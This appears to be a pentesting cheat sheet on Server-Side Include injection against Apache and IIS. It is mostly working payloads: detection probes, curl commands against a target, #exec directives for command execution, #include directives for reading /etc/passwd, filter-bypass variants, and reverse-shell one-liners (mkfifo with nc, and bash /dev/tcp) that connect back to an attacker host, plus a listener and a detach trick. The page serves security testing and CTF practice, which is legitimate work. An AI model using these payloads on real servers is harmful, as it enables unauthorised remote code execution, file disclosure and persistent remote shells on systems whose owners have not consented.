Skip to content

SSI Injection

Apache’s mod_include (and IIS equivalents) parses HTML files for <!--#... --> directives at serve time. When user input lands in such a file and SSI is enabled for that file extension, you can inject directives that execute commands, include files, or print environment variables.

<!--#echo var="DATE_LOCAL" --> <!-- detection -->
<!--#printenv --> <!-- env dump -->
<!--#exec cmd="id" --> <!-- RCE -->
<!--#include virtual="/etc/passwd" --> <!-- file read (limited) -->

Success indicator: the directive is replaced by its output instead of being rendered as a comment.

Three conditions for SSI exploitation:

  1. The file extension is configured for SSI parsing. Default Apache: .shtml, .shtm, .stm. Non-default configs sometimes enable SSI on .html.
  2. User input ends up inside the served file. Either persisted (saved to disk and served back) or reflected (template that bakes input into output).
  3. The output is fetched back through Apache (not as a static download; it has to go through mod_include).

Common targets: feedback forms, profile bios, comment systems, file-upload features that store user content in a docroot directory served by Apache, error pages that include the requested URL.

<!-- Print local time -->
<!--#echo var="DATE_LOCAL" -->
<!-- Print environment variables -->
<!--#printenv -->
<!--#echo var="HTTP_USER_AGENT" -->
<!--#echo var="DOCUMENT_ROOT" -->
<!--#echo var="REMOTE_ADDR" -->
<!-- File modification time -->
<!--#flastmod file="index.html" -->
<!-- Include another file (relative to document) -->
<!--#include file="header.html" -->
<!-- Include another URL (relative to docroot) -->
<!--#include virtual="/footer.html" -->
<!-- CGI execution -->
<!--#include virtual="/cgi-bin/script.pl" -->
<!-- Direct command execution -->
<!--#exec cmd="id" -->
<!--#exec cmd="ls -la /" -->
<!-- Set variables -->
<!--#set var="x" value="hello" -->
<!--#echo var="x" -->
<!-- Configuration -->
<!--#config errmsg="custom error" -->
<!--#config timefmt="%Y-%m-%d" -->

Submit <!--#echo var="DATE_LOCAL" --> into any input that gets reflected. If the response shows a date instead of the literal directive, SSI is parsing your input.

Terminal window
curl -X POST -d 'name=<!--#echo var="DATE_LOCAL" -->' http://<TARGET>/profile

Look for behavior like:

  • Input field shows: Saturday, 04-May-2024 10:30:00 EDT instead of the comment
  • Comments stripped from output (mod_include consumed them)
  • Response time changes (directive evaluation takes longer)
Terminal window
curl -X POST -d 'name=<!--#printenv -->' http://<TARGET>/profile

If environment variables appear (HTTP_HOST, SERVER_SOFTWARE, DOCUMENT_ROOT, REMOTE_ADDR, etc.), SSI is fully active.

Terminal window
curl -X POST -d 'name=<!--#exec cmd="id" -->' http://<TARGET>/profile

#exec is sometimes disabled (Options +Includes allows directives but excludes IncludesNOEXEC blocks #exec). If #echo works but #exec returns the literal text or an error, you have file inclusion only - no RCE.

The biggest constraint on SSI is the file extension. The user input must end up in a file Apache parses for SSI.

Direct path: input goes into a .shtml file, Apache parses it on serve.

Some non-default configs enable SSI on .html:

AddType text/html .html
AddOutputFilter INCLUDES .html

Test by reading the response headers (Content-Type, sometimes a X-Powered-By) - if SSI is generic-on, the directive will be parsed.

When the app sanitizes the input file extension but lets you choose

Section titled “When the app sanitizes the input file extension but lets you choose”

If you can upload files with chosen extensions:

Terminal window
# Upload as .shtml - gets parsed when served back
upload: payload.shtml
content: <html><body><!--#exec cmd="id" --></body></html>

Apache (and SSI) requires the directive to be on a complete line ending in newline. Some sanitizers strip trailing whitespace or newline. Pad with extra characters:

<!--#exec cmd="id" -->
(trailing space + newline preserved)

When #exec is enabled:

<!--#exec cmd="id" -->
<!--#exec cmd="cat /etc/passwd" -->
<!--#exec cmd="ls -la /var/www" -->

Output is inlined into the response where the directive was. Multi-line output appears multi-line.

When #exec is enabled but you can’t get a TTY-style interactive shell directly:

<!--#exec cmd="mkfifo /tmp/f;nc <LHOST> <LPORT> 0</tmp/f|/bin/bash 1>/tmp/f;rm /tmp/f" -->

Listener:

Terminal window
nc -lvnp <LPORT>

Why the FIFO trick: many distro nc builds (notably OpenBSD-netcat on Debian) don’t ship with -e. The mkfifo construction reads from the FIFO into a shell, pipes shell output back through nc - bidirectional connection without -e.

If bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 works, prefer it (cleaner, no FIFO file left behind):

<!--#exec cmd="bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" -->

When #exec is disabled but #include works:

<!--#include virtual="/etc/passwd" -->
<!--#include file="../../../etc/passwd" -->

virtual="/path" is relative to docroot; file="path" is relative to the file being parsed.

Path traversal works for file=:

<!--#include file="../../../../etc/passwd" -->

For virtual=, traversal is restricted but cross-app inclusion is possible:

<!--#include virtual="/admin/secret-page.html" -->

If the admin page is accessible only from localhost via mod-include, and your input file is served externally, you’ve crossed an access-control boundary.

<!--#include virtual="/cgi-bin/test.pl" -->

Re-invokes a CGI script from within mod_include’s parser. Sometimes useful for accessing CGI scripts that aren’t directly exposed.

Sanitizers commonly block <!--#. Variants that sometimes survive:

<!-- #exec cmd="id" --> <!-- extra spaces -->
<!--#EXEC cmd="id" --> <!-- case (rarely matters) -->
<!-- #include virtual="/etc/passwd" -->

If <!-- is filtered entirely, SSI is not exploitable - there’s no other way to start a directive.

If specific directives are filtered (exec), <!--#include virtual="/cgi-bin/anything"--> may still work if a CGI is reachable.

IIS supports a similar feature, with Windows-specific commands:

<!--#exec cmd="dir C:\" -->
<!--#exec cmd="type C:\Users\Administrator\Desktop\flag.txt" -->

The cmd argument runs through cmd.exe, so cmd-style chaining (&, &&) and Windows path syntax apply.

  • Directive appears literally in output. SSI not enabled for this file extension. Check Content-Type - if text/html and the file has .html extension, SSI is probably off. Look for upload features where you can choose .shtml.
  • #echo works but #exec returns nothing. IncludesNOEXEC set in Apache config - file inclusion enabled, command execution disabled. Limited but useful (file disclosure, env vars).
  • Directive consumed but no output. mod_include parsed it and produced empty output (e.g., #config directives produce no output). Try #echo or #exec for visible output.
  • Reverse shell connects but dies immediately. Apache’s child process is short-lived; the shell forks but the parent process exits quickly. Detach: <!--#exec cmd="(nohup bash -c '...' &) > /dev/null 2>&1" -->.
  • Some directives blocked, others allowed. Custom mod_include filter or WAF in path. Pivot to whichever directive isn’t blocked - #include for file disclosure, #echo for env exfil.
  • Input length limit too short for full directive. Multi-stage inject: write directive across multiple inputs that get concatenated, or use a shorter directive form.

SSI is a legacy technology - most modern stacks (Node, Go, modern PHP frameworks) don’t use it. The bug class persists because: (1) Apache’s default config still ships SSI support, (2) .shtml files exist in the wild from old codebases, (3) some shared hosting providers leave SSI on by default. When you find SSI exploitation in 2025+, it’s usually a vintage codebase or a misconfigured shared-hosting deployment.

Where SSI does work, it’s a fast path to RCE: detect with <!--#printenv -->, escalate with <!--#exec cmd="id" -->. The whole chain takes minutes if the conditions align.